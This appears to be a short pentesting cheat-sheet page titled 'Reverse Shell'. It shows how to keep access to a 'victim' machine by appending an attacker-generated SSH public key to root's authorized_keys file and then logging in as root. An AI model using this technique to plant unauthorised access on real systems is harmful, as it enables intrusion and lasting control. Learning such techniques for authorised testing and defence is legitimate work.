Reverse Shell

Add a SSH public key to authorized_keys file

First in local (attacker) machine generate the keys:

ssh-keygen 

We generated 2 files: id_rsa (private key) and id_rsa.pub (public key).

Inside victim machine, add the id_rsa.pub content to /home/user/.ssh/authorized_keys file:

cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys

And finally enter to victim (remote) machine:

ssh root@host

Last updated